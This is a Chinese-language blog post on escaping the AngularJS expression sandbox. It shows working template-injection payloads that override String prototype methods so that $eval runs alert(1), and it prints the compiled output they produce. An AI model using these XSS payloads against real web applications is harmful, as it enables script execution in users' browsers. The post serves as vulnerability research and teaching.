'a'.constructor.fromCharCode=[].join; 'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
formCharCode方法执行的时候内部的this指向的是String对象,通过上面的可指执行语句,我们可以对fromCharCode 函数进行覆盖,当在本页面内执行时,比如:
onload=function(){
document.write(String.fromCharCode(97));//会弹出 /Backdoored/
}
还可以这样
'a'.constructor.prototype.charCodeAt=[].concat
当angularJs调用charCodeAt函数时,我的代码就被执行到angular源码去了,比如说在这段里面有encodeEntities 方法用来对属性和名称做一个过滤然后输出,
if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));//找的就是encodeEntities
out('"');
}
具体的encodeEntities代码如下:
function encodeEntities(value) {
return value.
replace(/&/g, '&').
replace(SURROGATE_PAIR_REGEXP, function(value) {
var hi = value.charCodeAt(0);
var low = value.charCodeAt(1);
return '' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
}).
replace(NON_ALPHANUMERIC_REGEXP, function(value) {
return '' + value.charCodeAt(0) + ';';//这里发生了不好事情,我改写了这个方法,可以植入一些恶意代码,并且得到返回输出 }).
replace(/</g, '<').
replace(/>/g, '>');
}
具体执行
//这是输入代码
{{
'a'.constructor.prototype.charAt=[].join;
$eval('x=""')+''
}}
//这是被覆盖影响的代码
"use strict";
var fn = function(s, l, a, i) {
var v5, v6 = l && ('x\u003d\u0022\u0022' in l);//被影响的
if (!(v6)) {
if (s) {
v5 = s.x = "";//被影响的
}
} else {
v5 = l.x = "";//被影响的
}
return v5;
};
fn.assign = function(s, v, l) {
var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);//被影响的
v3 = v4 ? l : s;
if (!(v4)) {
if (s) {
v2 = s.x = "";//被影响的
}
} else {
v2 = l.x = "";//被影响的
}
if (v3 != null) {
v1 = v;
ensureSafeObject(v3.x = "", text);//被影响的
v0 = v3.x = "" = v1;//被影响的
}
return v0;
};
return fn;
{{
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)')+'' //注入了alert(1)
}}
"use strict";
var fn = function(s, l, a, i) {
var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
if (!(v6)) {
if (s) {
v5 = s.x = alert(1);
}
} else {
v5 = l.x = alert(1);
}
return v5;
};
fn.assign = function(s, v, l) {
var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
v3 = v4 ? l : s;
if (!(v4)) {
if (s) {
v2 = s.x = alert(1);
}
} else {
v2 = l.x = alert(1);
}
if (v3 != null) {
v1 = v;
ensureSafeObject(v3.x = alert(1), text);
v0 = v3.x = alert(1) = v1;
}
return v0;
};
return fn;
内容版权声明:除非注明,否则皆为本站原创文章。
